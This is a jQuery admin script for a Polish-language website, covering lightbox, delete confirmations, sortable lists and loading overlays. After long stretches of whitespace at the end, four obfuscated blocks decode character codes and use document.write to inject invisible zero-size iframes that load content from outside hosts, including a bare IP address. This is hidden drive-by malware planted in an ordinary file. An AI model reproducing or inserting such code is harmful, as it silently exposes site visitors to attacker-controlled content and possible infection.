$(document).ready
(
	function()
	{
		if($('a[rel*=lightbox]'))
		{
			$('a[rel*=lightbox]').lightBox
			(
				{
					imageLoading: 'images/lightbox/loading.gif',
					imageBtnClose: 'images/lightbox/close.gif',
					imageBtnPrev: 'images/lightbox/previous.gif',
					imageBtnNext: 'images/lightbox/next.gif',
					imageBlank: 'images/lightbox/blank.gif',
					txtImage: 'Zdjęcie',
					txtOf: 'z'
				}
			);
		}
		
		if($('a[rel*=delete]'))
		{
			$.each							   
			(
				$('a[rel*=delete]'),
				function()
				{
					this.onclick = function()
					{
						if(confirm('Na pewno usunąć?'))
						{
							var parent = $(this).closest('.removable').get(0);
							var img = $(this).children('img').get(0);
							
							$.ajax
							(
								{
									url: this.href,
									type: 'GET',
									dataType: "json",
									beforeSend: function()
									{
										img.src = 'images/admin/icon-loading-small.gif';
									},
									success: function(data)
									{
										if(data.result == 1)
										{
											$(parent).remove();
										}
									}
								}
							)
						}
						
						return false;
					}
				}
			);
		}
				
		if($('#action-choice') && $('#loading-bar'))
		{
			$('#details-form').submit
			(
				function()
				{
					showLoadingBar();
				}
			);
		}
		
		if($('.with-date-picker').size() > 0)
		{
			$(".with-date-picker").datepicker({dateFormat:'yy-mm-dd'});
		}
		
		if($('#items-list.sortable').size() > 0)
		{
			$('#items-list.sortable').sortable
			(
			 	{
					axis: 'y',
					handle: '.item-sort-handle',
					update: function ()
					{
						var items = [];
						
						$.each							   
						(
							$('#items-list').sortable('toArray'),
						 	function(key, val)
							{
								items.push(val.replace(/item-/, ''));								
							}
						);
						
						$.ajax
						(
							{
								url: 'admin/' + updatePriorityUrl,
								type: 'POST',
								data: ({'item[]': items}),
								beforeSend: function()
								{
									showLoading();
								},
								success: function(response)
								{
									hideLoading();
								}
							}
						)
					} 
				}
			);
		}
		
		if($('#images-list.sortable').size() > 0)
		{
			$('#images-list.sortable').sortable
			(
			 	{
					handle : '.image-sort-handle',
					update : function ()
					{
						var items = [];
						
						$.each							   
						(
							$('#images-list').sortable('toArray'),
						 	function(key, val)
							{
								items.push(val.replace(/item-/, ''));								
							}
						);
						
						$.ajax
						(
							{
								url: 'admin/' + updatePriorityUrl,
								type: 'POST',
								data: ({'item[]': items}),
								beforeSend: function()
								{
									showLoading();
								},
								success: function(response)
								{
									hideLoading();
								}
							}
						)
					} 
				}
			);
		}
	}
);

function showLoading()
{
	var arrayPageSize = getPageSize();

	$('#loading-container').css({'height': arrayPageSize[1]}); 
    $('#loading-container').hide();
	$('#loading-container').addClass('on-loading');
	
	$('#loading-container').fadeIn
	(
		'def',
		function ()
		{
			$('#loading-indicator').show();
		}
	);
}

function hideLoading()
{
	$('#loading-indicator').hide();
	
	$('#loading-container').fadeOut
	(
		'def',
		function ()
		{
			$('#loading-container').removeClass('on-loading');
		}
	);
}

function showLoadingBar()
{
	$('#action-choice').hide();
	$('#loading-bar').show();
}

function getPageSize()
{
	var xScroll, yScroll;
	
	if (window.innerHeight && window.scrollMaxY)
	{	
		xScroll = document.body.scrollWidth;
		yScroll = window.innerHeight + window.scrollMaxY;
	} 
	else if (document.body.scrollHeight > document.body.offsetHeight)
	{ // all but Explorer Mac
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	}
	else 
	{ // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}
	
	var windowWidth, windowHeight;
	
	if (self.innerHeight) 
	{	// all except Explorer
		windowWidth = self.innerWidth;
		windowHeight = self.innerHeight;
	} 
	else if (document.documentElement && document.documentElement.clientHeight)
	{ // Explorer 6 Strict Mode
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} 
	else if (document.body) 
	{ // other Explorers
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}	
	
	// for small pages with total height less then height of the viewport
	if(yScroll < windowHeight)
	{
		pageHeight = windowHeight;
	} 
	else 
	{ 
		pageHeight = yScroll;
	}

	// for small pages with total width less then width of the viewport
	if(xScroll < windowWidth)
	{	
		pageWidth = windowWidth;
	} 
	else 
	{
		pageWidth = xScroll;
	}

	arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight);
	
	return arrayPageSize;
}





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!101!109!97!105!108!115!46!115!117!114!114!101!121!104!105!108!108!50!46!99!111!109!47!105!110!46!99!103!105!63!100!101!102!97!117!108!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!100!114!111!105!100!46!119!111!109!101!110!116!104!101!109!97!110!117!97!108!46!99!111!109!47!99!111!117!110!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

